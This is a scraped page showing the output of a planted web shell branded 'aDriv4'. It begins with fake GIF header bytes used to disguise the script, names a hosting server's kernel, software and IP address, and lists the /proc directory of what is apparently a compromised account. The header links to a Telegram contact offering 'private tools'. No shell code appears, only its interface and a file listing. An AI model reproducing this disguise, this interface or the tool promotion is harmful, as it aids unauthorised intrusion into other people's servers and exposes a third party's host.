GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.115.248
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-19 08:54:27
.. dir - root/root 0755 2024-05-19 08:32:21
256109 dir - trueqylo/trueqylo 0555 2025-07-07 10:37:58
258893 dir - trueqylo/trueqylo 0555 2025-07-07 10:37:50
259749 dir - trueqylo/trueqylo 0555 2025-07-07 10:37:53
3042334 dir - trueqylo/trueqylo 0555 2025-07-07 10:36:24
acpi dir - root/root 0555 2024-05-19 12:56:04
bus dir - root/root 0555 2024-05-19 12:56:25
driver dir - root/root 0555 2025-07-07 10:38:07
fs dir - root/root 0555 2024-05-19 12:56:25
irq dir - root/root 0555 2024-05-19 12:56:09
kcare dir - root/root 0555 2025-07-07 10:38:07
lve dir - root/root 0555 2025-07-07 10:38:03
net link - trueqylo/trueqylo 0555 2025-07-07 10:38:07
scsi dir - root/root 0555 2024-05-19 12:56:25
self link - trueqylo/trueqylo 0555 2025-07-07 10:37:50
sys dir - root/root 0555 2024-05-19 08:55:57
sysvipc dir - root/root 0555 2025-07-07 10:38:07
thread-self link - trueqylo/trueqylo 0555 2025-07-07 10:38:03
tty dir - root/root 0555 2025-07-07 10:38:07
buddyinfo 0 B root/root 0444 2025-07-07 10:38:07
cgroups 0 B root/root 0444 2025-07-07 10:38:07
cmdline text/plain 0 B root/root 0444 2025-07-07 10:38:04
consoles 0 B root/root 0444 2025-07-07 10:38:07
cpuinfo text/plain 0 B root/root 0444 2025-07-07 10:38:06
crypto 0 B root/root 0444 2025-07-07 10:38:07
devices 0 B root/root 0444 2025-07-07 10:38:04
diskstats 0 B root/root 0444 2025-07-07 10:38:07
dma 0 B root/root 0444 2025-07-07 10:38:07
execdomains 0 B root/root 0444 2025-07-07 10:38:07
fb 0 B root/root 0444 2025-07-07 10:38:07
filesystems text/plain 0 B root/root 0444 2025-07-07 10:35:50
interrupts 0 B root/root 0444 2025-07-07 10:38:06
iomem 0 B root/root 0444 2025-07-07 10:38:07
ioports 0 B root/root 0444 2025-07-07 10:38:07
kallsyms 0 B root/root 0444 2024-05-19 12:56:25
kcore 128 TB root/root 0400 2024-05-19 12:56:04
key-users 0 B root/root 0444 2025-07-07 10:38:07
keys 0 B root/root 0444 2025-07-07 10:38:07
kmsg 0 B root/root 0400 2025-07-07 10:38:07
kpagecgroup 0 B root/root 0400 2025-07-07 10:38:07
kpagecount 0 B root/root 0400 2025-07-07 10:38:07
kpageflags 0 B root/root 0400 2025-07-07 10:38:07
loadavg text/plain 0 B root/root 0444 2025-07-07 10:38:02
locks 0 B root/root 0444 2025-07-07 10:38:07
mdstat 0 B root/root 0444 2025-07-07 10:38:07
meminfo text/plain 0 B root/root 0444 2025-07-07 10:36:23
misc 0 B root/root 0444 2025-07-07 10:38:07
modules 0 B root/root 0444 2025-07-07 10:38:07
mounts text/plain 0 B trueqylo/trueqylo 0444 2025-07-07 10:38:07
mtrr 0 B root/root 0644 2024-05-19 12:56:25
pagetypeinfo 0 B root/root 0400 2025-07-07 10:38:07
partitions 0 B root/root 0444 2025-07-07 10:38:07
sched_debug 0 B root/root 0444 2025-07-07 10:38:07
schedstat 0 B root/root 0444 2025-07-07 10:38:07
slabinfo 0 B root/root 0400 2025-07-07 10:38:07
softirqs 0 B root/root 0444 2025-07-07 10:38:07
stat text/plain 0 B root/root 0444 2025-07-07 10:36:02
swaps 0 B root/root 0444 2024-05-19 08:55:58
sysrq-trigger 0 B root/root 0200 2024-05-19 12:56:25
timer_list 0 B root/root 0400 2025-07-07 10:38:07
uptime text/plain 0 B root/root 0444 2025-07-07 10:36:23
version text/plain 0 B root/root 0444 2025-07-07 10:38:07
vmallocinfo 0 B root/root 0400 2025-07-07 10:38:07
vmstat 0 B root/root 0444 2025-07-07 10:38:07
zoneinfo 0 B root/root 0444 2025-07-07 10:38:07
© aDriv4